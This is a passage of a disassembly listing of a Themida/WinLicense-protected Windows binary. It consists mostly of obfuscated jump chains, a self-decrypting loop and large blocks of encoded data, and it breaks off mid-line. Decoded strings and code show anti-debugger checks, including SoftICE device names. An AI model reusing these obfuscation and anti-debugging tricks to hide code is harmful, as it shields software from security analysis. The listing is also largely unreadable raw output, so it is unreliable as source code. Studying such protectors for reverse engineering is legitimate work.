FUNCTION CHUNK FOR sub_56B1DC loc_5754A2: ; CODE XREF: sub_56B1DC-478Cj add esp, 4 jmp loc_568041 ; END OF FUNCTION CHUNK FOR sub_56B1DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5610CE loc_5754AD: ; CODE XREF: sub_5610CE+79A6j not ecx xchg ecx, [esp+8+var_8] pop ecx xchg ecx, esi push ebx mov ebx, 9AEA7065h add esi, ebx mov ebx, [esp+8+var_8] add esp, 4 and ebp, esi jmp loc_5628C4 ; END OF FUNCTION CHUNK FOR sub_5610CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_5754CD: ; CODE XREF: sub_56E05C+21j mov edi, 6FC75A7h shl edi, 8 jmp loc_564E72 ; END OF FUNCTION CHUNK FOR sub_56E05C ; =============== S U B R O U T I N E ======================================= sub_5754DA proc near ; DATA XREF: Themida_:0055FEBCo var_12 = dword ptr -12h var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 005604D1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00561FB4 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00563077 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056460C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056773F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00567F1F SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00568424 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005696F0 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056A229 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056BFC7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0056C435 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056CE82 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 0056D958 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056F1FB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00570E02 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005717B7 SIZE 00000032 BYTES lodsb push ecx mov ch, 63h shr ch, 3 and ch, 0AEh jmp loc_56BFC7 sub_5754DA endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_5754E9: ; CODE XREF: sub_563A7F+10F95j push eax jmp loc_569D76 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- loc_5754EF: ; CODE XREF: Themida_:00567319j sub esp, 4 mov [esp], ebx jmp loc_5665DB ; --------------------------------------------------------------------------- loc_5754FD: ; CODE XREF: Themida_:005531F3j jmp loc_575540 ; --------------------------------------------------------------------------- dw 0F570h dd 53551491h, 32335245h, 6C6C642Eh, 56444100h, 33495041h dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 807D7h, 70002h dd 11000Fh, 2AE0007h, 2 dup(0) ; --------------------------------------------------------------------------- loc_575540: ; CODE XREF: Themida_:loc_5754FDj jmp loc_575E94 ; --------------------------------------------------------------------------- push 612A1BEh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A250h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A38Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A4ABh jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A508h jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A61Ch jmp loc_5534D8 ; --------------------------------------------------------------------------- push 612A696h jmp loc_5534D8 ; --------------------------------------------------------------------------- db 12h dd 1AA11D60h, 0F87F3B72h, 15A41851h, 2793572h, 0AD9B0F4Eh dd 42812351h, 1D5E0F86h, 39741AA1h, 184DF685h, 0D4D7A9A4h dd 6BDEDD6Eh, 15A32986h, 0A39D3CBDh, 51D5C102h, 33B05B75h dd 0D367FC20h, 0EB68557h, 192142CEh, 7C584A0Ch, 0CFAC88h dd 36303F2Ch, 8FD3D127h, 44CD1BAh, 0E158B2DDh, 85D8F52Ah dd 98936D6Eh, 47E910C7h, 0A20F035Fh, 3E792D13h, 0D8F2CE52h dd 0F8DDE331h, 0B5C7A37Dh, 4CF6B5CBh, 0A87E38CDh, 7B24AFCCh dd 5C039246h, 0A6B2C227h, 889CA011h, 7C11Fh, 8FD27400h dd 0ADE49C1Bh, 0CA03AA31h, 0A7E4870Eh, 0C100A433h, 71E31F0Dh dd 4DCC80BFh, 58DF5B9Ch, 34C377B2h, 0E7E2568Bh, 0DDAC1615h dd 6B486BDEh, 6104D7E1h, 0B0557420h, 0B57E5B77h, 0D82DD90Eh dd 0E4DFF41h, 1A553929h, 132F0D35h, 0F11B5239h, 0AFAB67FAh dd 275EB09Dh, 0D4FD8301h, 517693F2h, 0DB00E664h, 0F5F24B65h dd 865A6F2Dh, 2BDE0FB3h, 94213397h, 74B5586Fh, 9C0A480h dd 95492D62h, 71256006h, 0CF7CB15Ah, 4A08585Bh, 2F584155h dd 0E2000007h, 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h dd 7D6BDF1Eh, 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h dd 64271914h, 6BDEDEDEh, 32F3B936h, 39504479h, 4A835D92h dd 75D4EF83h, 100EEB0Bh, 3EBB5A69h, 336AE473h, 4C53h, 7932B900h dd 2028844h, 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 0FCEF6E35h dd 522C0867h, 0F7B2E387h, 9423F04Bh, 11053CE4h, 200B5D15h dd 9423F0A2h, 4B0AE642h, 0AFB35F94h, 0EAA01793h, 8469C3AFh dd 0F9D8497Bh, 0D7926726h, 696h, 44793225h, 4627412Ah dd 0BAE2604Bh, 26026DCCh, 5D890941h, 0CC6814AEh, 5074F06Dh dd 0BCB18B7Bh, 20D5B68Ah, 0D62744BDh, 89C29C3Fh, 0C8239B30h dd 0B5CBA0B4h, 0FC0D6DF6h, 2BD46767h, 79300AF6h, 942393C9h dd 9615312Dh, 68CCB8EDh, 0B9938F93h, 620E4F02h, 0E675E9FEh dd 0EF54083Dh, 0B40EFDE8h, 50942393h, 2BDEF0D4h, 9E157369h dd 803B1511h, 7FE38FCAh, 0F168966Ah, 0F13FF40h, 92CD813Ah dd 1B4E01B8h, 1132D270h, 1A36329Eh, 69ED0A66h, 15013CF2h dd 3398CD76h, 40385935h, 0F3BA2BFBh, 0A6000005h, 8E0DC104h dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDEDFCAh dd 32E7AD2Ah, 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh dd 9F20A7h, 174CF3C6h, 39F2076Bh, 6DCC7E90h, 9830C741h dd 0C0714450h, 0B38F937Fh, 0B710DC8Fh, 0B0F2336Bh, 58FFFFFEh dd 7E32A9D7h, 7CEA583Fh, 730A6DCCh, 9AAF93D0h, 41356A21h dd 0F04FEEFh, 2411A95Bh, 4C21457Ch, 0AFC11AB9h, 0FCA9E3FCh dd 0AB1FFB67h, 9313BF56h, 0EE35C019h, 233D0F33h, 25F44E3Dh dd 1410943Ch, 47EB4C37h, 17139E0Ch, 92D37645h, 4C5582DEh dd 0AB7B0729h, 431214E9h, 9E2C7FFAh, 2CC9681Bh, 3F8B26E1h dd 149C1h, 0BD150B00h, 6BC3B6B7h, 8F0CD99Ch, 0B48C2BBAh dd 4420D40Dh, 0C65B4E20h, 0E067FC67h, 951AC184h, 94B2C23Dh dd 85845685h, 47EA17D0h, 0B1FEF26Eh, 0E4A7B922h, 7DF9C42Ch dd 0E37688E4h, 0C453073Ch, 9181E61Bh, 0BFA010AFh, 4D4FEE7h dd 0E7870000h, 0FBB128A4h, 0DC9108C4h, 0FBB027A3h, 0D98B0ABEh dd 0DC281E9Ah, 0FFBBFAAEh, 1894D578h, 0F6B2EDA1h, 1793C87Fh dd 0E1614834h, 56BDED8h, 0BD5C1CA8h, 165D4C1Eh, 8E67FA9Ch dd 1C09B970h, 71ED9421h, 0B0CAA65Ch, 8E4A8529h, 7C286307h dd 0CC71A65Dh, 4A087730h, 773DA67Eh, 2A000004h, 12894588h dd 30A7235Ah, 0D8C4079h, 1AA11D5Ah, 85833776h, 1A590B79h dd 3576179Eh, 114C0279h, 30651E9Dh, 0FCAF917Ch, 6BDED946h dd 327B419Eh, 0E75B4E79h, 386DCC7Ch, 0C9AD5990h, 8D795DD9h dd 7420550Eh, 0FBDF7645h, 31B122D2h, 0AFCCFE90h, 0CC3457F4h dd 4488836Dh, 0B6336AEEh, 4E428123h, 74AF53D2h, 0FD31F157h dd 325BFFFFh, 63504479h, 8B758754h, 0CC7C22A0h, 665DC26Dh dd 11FAF108h, 8B6D8A66h, 0FC80AFA0h, 213B3767h, 0A3B22A2Ch dd 52CEC201h, 6D485465h, 85627EB9h, 0B8153BD1h, 2739A231h dd 0ED016626h, 0CA9F3FBDh, 486EF3B6h, 0AC8867FCh, 296207D2h dd 4D48354h, 7A7C07ABh, 0FBD00BBFh, 0BE904B6Ah, 24C19ACBh dd 5C482436h, 718B5067h, 348A7ABAh, 8B41F82Ch, 2309344Bh dd 193D0227h, 8E23E44h, 0BC6F9A51h, 28746106h, 645E7DEh dd 685206EAh, 612F9396h, 6BC72874h, 0E0FD34ECh, 0D277AC53h dd 0F65D0A34h, 6339AA7Ah, 16000003h, 0FE7D3174h, 1C9B0F46h dd 29B02C65h, 6954986h, 0C1A72362h, 36751745h, 1152F382h dd 2D681E9Dh, 4C812AB1h, 0E8A39D90h, 6BDEDA5Ah, 5C57DDBAh dd 8D4C1EBDh, 0B4CCA1D6h, 0FA9C84F5h, 19106267h, 942123A9h dd 0DBF5D14Dh, 54913605h, 6DD5C4A0h, 89942123h, 6AD8D3ADh dd 8A942123h, 14A7B98Eh, 0B7F2986Eh, 0F2981F9Bh, 13CCCBB7h dd 48B779DEh, 0D194A08h, 2E99Ch, 0A7EA9C00h, 0C5FCA433h dd 0A2DB9209h, 0BFFCAF26h, 99D88C0Bh, 0A9DB2725h, 8514C807h dd 0B027A3E4h, 8C0BBFFAh, 3F2A9ED3h, 0DAF44E3Dh, 93106BDEh dd 0DC96D709h, 6CB4837Eh, 40772DACh, 6AFBD054h, 0A0BE904Bh dd 473B7419h, 64150EEBh, 267FA5Ah, 0DE855426h, 4DD035A9h dd 5951F198h, 0B9B59422h, 0C39DC39Dh, 22597AC8h, 0A9BE9A94h dd 22595602h, 0BEB2AE94h, 3AE625C7h, 306F2198h, 4794277Ch dd 76354B35h, 942259CCh, 8070AF61h, 7EDCC7A4h, 64942259h dd 0EA248067h, 2249833Fh, 0E2076394h, 0E502855Ah, 0F34D3935h dd 9792C168h, 94228A2Bh, 7F734FCBh, 560DC6A3h, 7D537521h dd 96A9C150h, 0CCB2299h, 96D1958h, 95C067F4h, 22E82C96h dd 886CC894h, 699E45D4h, 0EF7501BDh, 67A64A11h, 1A2B7BBh dd 0E71CC362h, 0B4778973h, 9422E80Eh, 17CB8AE6h, 2F4C28DCh dd 0DAC6FBA4h, 0D6CA09BBh, 5CAE9F81h, 218403C2h, 0A1558A41h dd 0F7CCA1C5h, 0D9607E58h, 2D09FD32h, 2225C47Eh, 27442094h dd 0E1C8F3ACh, 94222561h, 11CDA985h, 0FAB1E68Ah, 94222548h dd 0E094B0ACh, 4BFDC8CCh, 0CA81180Ch, 45EAE195h, 0D1701308h dd 13B291EBh, 0E0845E12h, 254200ABh, 0C6A29422h, 567AF6AAh dd 72B153E2h, 2863077Eh, 6A946A7Ch, 222503BFh, 0D087E394h dd 2F33DF1Ah, 4BEA891Ah, 0D00BBF99h, 0E35F4A24h, 3942225h dd 55274B27h, 25C2802Bh, 9009422h, 942225B9h, 7A11015Dh dd 88EC98D5h, 50C78F6Ch, 38ED6C97h, 25AA18FFh, 49159422h dd 66C41265h, 0D188E49Ch, 1400E41Bh, 0B503A345h, 7312A14Dh dd 8C4F9B2h, 0F1A5DA91h, 0CE03BC7Fh, 1ED5EE9h, 0B0CD0193h dd 4E428123h, 6C1F411Bh, 2CB746D6h, 0EA3B69F9h, 6D255A3Bh dd 8175B056h, 660AC1A5h, 0E2F77B27h, 0DC83A241h, 374933A7h dd 0B7C1CE74h, 6EAD5F2Ch, 72EE9E82h, 0F025DE55h, 0B328AF04h dd 0BB49F299h, 61BD2687h, 3EED13EDh, 56A7CF84h, 96E70460h dd 1FA3667Fh, 0F756A7CFh, 0CA07BC7Bh, 64765AD6h, 0E4EF2FD5h dd 45267B5Eh, 0F26E223Eh, 550803D5h, 0ED5C91EBh, 5D068571h dd 0E99DDA8Dh, 6997698Dh, 15013CF2h, 0ABD86A11h, 0E03C5894h dd 1BC4530Bh, 0A56B3AE6h, 9627130Ch, 0CAC1B5F0h, 0C336EA23h dd 0A47745DCh, 6BD64FBh, 7B578E36h, 5A8F38BFh, 6305D4A6h dd 0D78C4724h dd 57F9C09Ah, 44434318h, 16B561A0h, 0C413570h, 42F4D877h dd 5A1110AFh, 0DA904B25h, 71255C04h, 42FCD1F5h, 5D70CB3h dd 0A1559036h, 0BC109FBCh, 678BD3D5h, 23039492h, 2D000000h dd 35342240h, 9F2CC633h, 0BD5BC0Fh, 9695678Bh, 4F194A2Ch dd 0B58F6CC8h, 0F49A215Fh, 0F4E02B9h, 8032723Ah, 9952493Dh dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h dd 94395044h, 7830A75Bh, 57CF5541h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 8950240Ch, 405E0h, 0E8830000h, 24048704h dd 243C895Ch, 65C368h, 242C8900h, 12A12068h, 243C8B06h dd 5404C483h, 83242C8Bh, 815704C4h, 34D42434h, 458F4A9Ah dd 0D4BF5708h, 314A9A34h, 8B5F087Dh ; --------------------------------------------------------------------------- sub al, 24h push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dw 0B7BDh ; --------------------------------------------------------------------------- loc_575E94: ; CODE XREF: Themida_:loc_575540j mov eax, 612A9A4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0E4h, 22h, 75h dd 46264341h, 9B664461h, 0D974F118h, 6E839h, 45C60000h dd 0DC3984D2h, 6E9h, 979F3000h, 5EF623B1h, 0FA32BB66h dd 714EC681h, 14E90000h, 0E000000h, 5A170912h, 3E48C00Ch dd 371F276Ah, 0D82FB814h, 680CFE0Ch, 0 ; --------------------------------------------------------------------------- jmp loc_575EFC ; --------------------------------------------------------------------------- db 0F1h, 0A5h, 79h dd 8B23F4h, 7E6C4BE7h ; --------------------------------------------------------------------------- loc_575EFC: ; CODE XREF: Themida_:00575EECj pop eax mov dx, ax loc_575F00: ; CODE XREF: Themida_:00575FACj mov edi, [esi+eax] and ebx, 4F66C80h xor edi, 2A60A9E0h movzx ebx, cx sub edi, 1A6421F8h pusha call near ptr loc_575F2C+6 jl short near ptr byte_575F3B cld db 36h mov cl, 8Ch xor esp, [ebp+2DEE9953h] and ecx, edx loc_575F2C: ; CODE XREF: Themida_:00575F19p call far ptr 0BE25h:0F5DFAF9Eh fdiv qword ptr [edi+0F5F3436h] pop dword ptr [edx] ; --------------------------------------------------------------------------- byte_575F3B db 0 ; CODE XREF: Themida_:00575F1Ej db 0 align 2 mov ecx, edx popa xor edi, 74E2E3C2h jmp loc_575F56 ; --------------------------------------------------------------------------- dd 0D1E36502h, 697389C4h db 0D3h, 52h ; --------------------------------------------------------------------------- loc_575F56: ; CODE XREF: Themida_:00575F47j mov [esi+eax], edi push eax pop edx mov ebx, edx sub eax, 4 jp loc_575F6E push esi add ecx, 7F687815h pop ecx loc_575F6E: ; CODE XREF: Themida_:00575F60j cmp eax, 0FFFF8FC0h jnz loc_575F9C pusha jo loc_575F85 mov ax, 1112h loc_575F85: ; CODE XREF: Themida_:00575F7Bj mov dx, ax popa jmp loc_575FC4 ; --------------------------------------------------------------------------- dw 6427h dd 625378E9h, 538C51DDh, 760F6A56h ; --------------------------------------------------------------------------- loc_575F9C: ; CODE XREF: Themida_:00575F74j pusha jno loc_575FA6 movsx edx, si loc_575FA6: ; CODE XREF: Themida_:00575F9Dj mov edi, 2A193BE1h popa jmp loc_575F00 ; --------------------------------------------------------------------------- cdq add dword ptr [ebx-2Bh], 75h rcl byte ptr [esp+ecx-46h], cl fisub word ptr [esi+1] mov al, ds:5A98757Bh neg dword ptr [edi] loc_575FC4: ; CODE XREF: Themida_:00575F89j jmp loc_576055 ; --------------------------------------------------------------------------- pusha cmp dword ptr [ebp+6100D39h], 0 jz loc_575FDC jmp loc_576053 ; --------------------------------------------------------------------------- loc_575FDC: ; CODE XREF: Themida_:00575FD1j push 0 cmp byte ptr [esi], 30h jnz loc_575FEF push 0 inc esi jmp loc_576024 ; --------------------------------------------------------------------------- loc_575FEF: ; CODE XREF: Themida_:00575FE1j cmp byte ptr [esi], 33h jnz loc_576000 push 10h inc esi jmp loc_576024 ; --------------------------------------------------------------------------- loc_576000: ; CODE XREF: Themida_:00575FF2j cmp byte ptr [esi], 34h jnz loc_576011 push 30h inc esi jmp loc_576024 ; --------------------------------------------------------------------------- loc_576011: ; CODE XREF: Themida_:00576003j cmp byte ptr [esi], 35h jnz loc_576022 push 40h inc esi jmp loc_576024 ; --------------------------------------------------------------------------- loc_576022: ; CODE XREF: Themida_:00576014j push 0 loc_576024: ; CODE XREF: Themida_:00575FEAj ; Themida_:00575FFBj ... cmp byte ptr [esi], 20h jnz loc_57603F cmp byte ptr [esi+1], 0 jnz loc_57603F add esp, 8 jmp loc_576053 ; --------------------------------------------------------------------------- loc_57603F: ; CODE XREF: Themida_:00576027j ; Themida_:00576031j lea eax, [ebp+61014E9h] nop push eax nop xchg eax, esi push eax xchg eax, esi push 0 call dword ptr [ebp+61012F5h] loc_576053: ; CODE XREF: Themida_:00575FD7j ; Themida_:0057603Aj popa retn ; --------------------------------------------------------------------------- loc_576055: ; CODE XREF: Themida_:loc_575FC4j mov byte ptr [ebp+61023E5h], 4Dh push 38394664h add dword ptr [esp], 6BFC3044h push dword ptr [ebp+61020E5h] lea eax, [ebp+6103A32h] call eax mov [ebp+61012F5h], eax jmp short loc_57609C ; --------------------------------------------------------------------------- dw 5C5Ch dd 49535C2Eh, 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h dd 544E5C2Eh, 454349h ; --------------------------------------------------------------------------- loc_57609C: ; CODE XREF: Themida_:0057607Cj mov eax, eax mov [ebp+61014B1h], ecx mov [ebp+6100D7Dh], edi cmp dword ptr [ebp+610158Dh], 0 jnz short loc_5760BC cmp dword ptr [ebp+6100095h], 0 jz short loc_5760D5 loc_5760BC: ; CODE XREF: Themida_:005760B1j push eax push ebx mov eax, eax mov eax, 40Fh mov [ebp+6100E65h], eax lea ebx, [ebp+612B815h] call ebx pop ebx pop eax loc_5760D5: ; CODE XREF: Themida_:005760BAj cmp dword ptr [ebp+6100095h], 0 jz short loc_5760F5 push eax push ebx mov eax, 40Fh mov [ebp+6100E65h], eax lea ebx, [ebp+612B504h] call ebx pop ebx pop eax loc_5760F5: ; CODE XREF: Themida_:005760DCj push 0 push edx call sub_576100 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_576100 proc near ; CODE XREF: Themida_:005760F8p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_576100 endp ; --------------------------------------------------------------------------- mov [edi], bh adc dl, [eax-49A59E33h] or ch, 0C3h cmc mov eax, eax mov [ebp+6101DE9h], eax mov byte ptr [ebp+61023E5h], 43h push 0 push ecx call sub_576136 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_576136 proc near ; CODE XREF: Themida_:0057612Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_576136 endp ; --------------------------------------------------------------------------- xor eax, 0ED9D89EBh add al, 10h push es push 4EBA7EE9h mov ch, 9Bh add dword ptr [esp], 6DD3F013h push 0 push edi call sub_576167 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_576167 proc near ; CODE XREF: Themida_:0057615Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_576167 endp ; --------------------------------------------------------------------------- db 0B3h dd 0C082F08Bh, 0FFF51FAEh, 101499B5h, 2D8D8906h, 8D06101Ch dd 103A3285h, 81D0FF06h, 646FC8D1h, 5250504Ch, 9E8h, 3C141B00h dd 0B4F127h, 0CB8BACB6h, 56310F5Eh, 5A596160h, 24048958h dd 0FB9BD89h, 6A0610h, 283D8529h, 4E80610h, 80000000h dd 52000000h, 8C0F51h, 5E000000h, 5250505Ah, 0EE860h, 0FFD40000h dd 287DE6B4h, 0A39FDC26h, 6714547Ah, 310F6159h, 448B585Ah dd 52500424h, 0D98B6660h, 9482BF66h, 8A310F61h, 8B585AF0h dd 24448900h, 8647B904h, 0E95831FCh, 9, 9BE8BE69h, 0FE54348Eh dd 6AF48A84h, 81006A03h, 262658C7h, 6A036A10h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 36E8C357h, 0B589DEB5h, 6101E9Dh, 239F8A68h, 2434819Fh dd 5F239F8Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0F4C35747h, 5056C999h, 0F312979h, 1887h, 13E900h dd 0C4EE0000h, 0FBA2216Ch, 2B75C4BDh, 0CF3CFCA9h, 0FF159F7Eh dd 139D8D0Fh, 810612ACh, 5898F8E2h, 6660500Eh, 0E9E90ABEh dd 0Ah, 0B3AE4CAFh, 0E1C5E5FDh, 8961E42Ch, 8D89241Ch, 6102ED9h dd 14359529h, 0D0FF0610h, 2598589h, 0F400610h, 28585h dd 0C88B6600h, 0BDBA6660h, 598D8B2Fh, 61061030h, 8D8B5258h dd 61015A1h, 0FE99059h, 0B0000000h, 0C07D0E20h, 84CEA393h dd 0D6450235h, 90500D4Bh, 0C4BB60h, 0BD010874h, 6101435h dd 6A006A61h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0EB2DC350h, 0A1B58B3Ch, 68061016h dd 0A45B3BA5h, 138D0F60h, 0E8000000h, 0Dh, 2C4FF843h, 50D47C1Ah dd 0EB417897h, 605059F0h, 81615A61h, 0C4DB2404h, 6A5BA4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 48049C3h, 40243845h, 0B589682Eh, 6102A95h, 36AFB8Bh dd 6AF48Ah, 7E9h, 85C5300h, 0D0826083h, 6A036Ah, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 571F87C3h, 898FC788h, 100D91BDh, 54E98006h, 79F8DD68h dd 2404815Ah, 65860723h, 1C9D8DF5h, 0F0612ACh, 5093D7B7h dd 0EA1DE6BEh, 0EE9936Fh, 1A000000h, 0F19FFA07h, 816B1E1Ch dd 0C1D2703Dh, 0F78B664Eh, 9589D0FFh, 61015B5h, 4B850F40h dd 0F000001h, 68Bh, 0E9B50B00h, 0F806102Dh, 14E858h, 6A310000h dd 7A279F80h, 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 59F9A562h dd 48C0F50h, 53000000h, 895FC88Bh, 7DBF2404h, 6A4B45DBh dd 0D850100h, 68061031h, 0B8419259h, 0B6505250h, 310F5ECCh dd 4BBF5250h, 0F05F581h, 5A616031h, 81585A58h, 6E272404h dd 0AE947BEh, 0D6000000h, 7ADA74DBh, 0DD9FB605h, 0E181608Ch dd 70BA9EE5h, 0B9036A61h, 2CC087B8h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D5B1BFC3h dd 6A036Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 344D4CC3h, 4168586Dh, 0FBEE481h, 587h, 816EB900h dd 34815A90h, 0E4814124h, 49B58B7Eh, 8D06101Dh, 12AC279Dh dd 0F460BF06h, 0E95038B8h, 0Fh, 78A726D5h, 720987F1h, 0D3DDC4E5h dd 89BF47C6h, 9509241Ch, 6101CA5h, 80B6D0FFh, 33850F40h dd 0F5000000h, 498D3358h, 0E906100Ch, 159h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0C2C35141h, 9DDCEC3Fh dd 87EA8166h, 0D88BF5D7h, 13AD9529h, 6A4B0610h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0F91EC351h, 0E8E14228h, 7, 14C88D90h, 29C39B4Bh, 101F6995h dd 0BF665E06h, 8B58AE60h, 0E585C6F9h, 43061023h, 4D9533h dd 95290610h, 6102119h, 22799F68h, 64BE60B5h, 60525BBFh dd 0CE9F98Bh, 44000000h, 557BC0D5h, 8F40CBACh, 6191721Dh dd 24048161h, 0B53D108h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 11C35040h, 876B2431h, 99B5FFD3h, 0E9061014h dd 0Bh, 2FA86AE9h, 0A8931748h, 8D7119BEh, 103A3285h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 1EB2130Fh, 0E46E1C21h, 1B2DB58Bh, 0D0FF0610h, 93F98B66h dd 6E9h, 5626B00h, 5087E1EEh, 0EE9h, 93B83800h, 9DDE13DBh dd 41EDDCDCh, 93B45F06h, 0FFF88B66h, 39BD03D0h, 8D06101Eh dd 1073A39Dh, 0BD958B06h, 0B8061011h, 1, 4FD28166h, 89E3FF4Fh dd 10051D85h, 0BC18B06h, 101929B5h, 66C08B06h, 83F8FA8Bh dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 40FB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 40FB853h, 85890000h dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 8D09585Bh, 6101091h dd 0B3BF6653h, 0C08B5EA9h, 0AAE9h, 666F5300h, 72617774h dd 69575C65h, 63694C6Eh, 65736E65h, 65684300h, 4E496B63h dd 72705800h, 7845746Fh, 43007469h, 6B636568h, 54554Fh dd 4C6E6957h, 6E656369h, 65566573h, 6F697372h, 6957006Eh dd 63694C6Eh, 65736E65h, 76697244h, 65567265h, 6F697372h dd 6957006Eh, 63694C6Eh, 65736E65h, 74736E49h, 65636E61h dd 69784500h, 6B4F74h, 636F7250h, 50004E49h, 4F636F72h dd 45005455h, 49746978h, 7845004Eh, 554F7469h, 70540054h dd 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B3388589h dd 858D0612h, 612B334h, 9E858D50h, 500612B2h, 168h, 4495FF80h dd 6A0612B3h, 38B5FF19h, 6A0612B3h, 8D006A01h, 12B2CD85h dd 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h, 612B334h dd 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h dd 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh, 68500612h dd 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h dd 8D006A04h, 12B2F785h, 0B5FF5006h, 612B334h, 212595FFh dd 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h dd 58D95FFh, 89C30610h, 12B33885h, 34858D06h, 500612B3h dd 0B29E858Dh, 68500612h, 80000001h, 0B34495FFh, 46A0612h dd 0B338858Dh, 6A500612h, 8D006A04h, 12B2DF85h, 0B5FF5006h dd 612B334h, 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh dd 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h, 12B33885h dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h dd 12B30A85h, 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh dd 89C30610h, 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh dd 68500612h, 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh dd 6A500612h, 8D006A04h, 12B2BA85h, 0B5FF5006h, 612B334h dd 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h dd 612B334h, 58D95FFh, 83C30610h, 100701BDh, 840F0006h dd 0Bh, 7019D8Bh, 0C3830610h, 0C303894Ch, 701BD83h, 0F000610h dd 0B84h, 19D8B00h, 83061007h, 38950C3h, 1BD83C3h, 61007h dd 0B840Fh, 9D8B0000h, 6100701h, 8954C383h, 0BD83C303h dd 6100701h, 0B840F00h, 8B000000h, 1007019Dh, 58C38306h dd 83C30389h, 100701BDh, 840F0006h, 0Bh, 7019D8Bh, 0C3830610h dd 0C303895Ch, 858960C3h, 612B338h, 0B334858Dh, 8D500612h dd 12B29E85h, 1685006h, 0FF800000h, 12B34495h, 8D046A06h dd 12B33885h, 46A5006h, 858D006Ah, 612B32Fh, 34B5FF50h dd 0FF0612B3h, 10212595h, 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh dd 0C3610610h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h dd 6A046A50h, 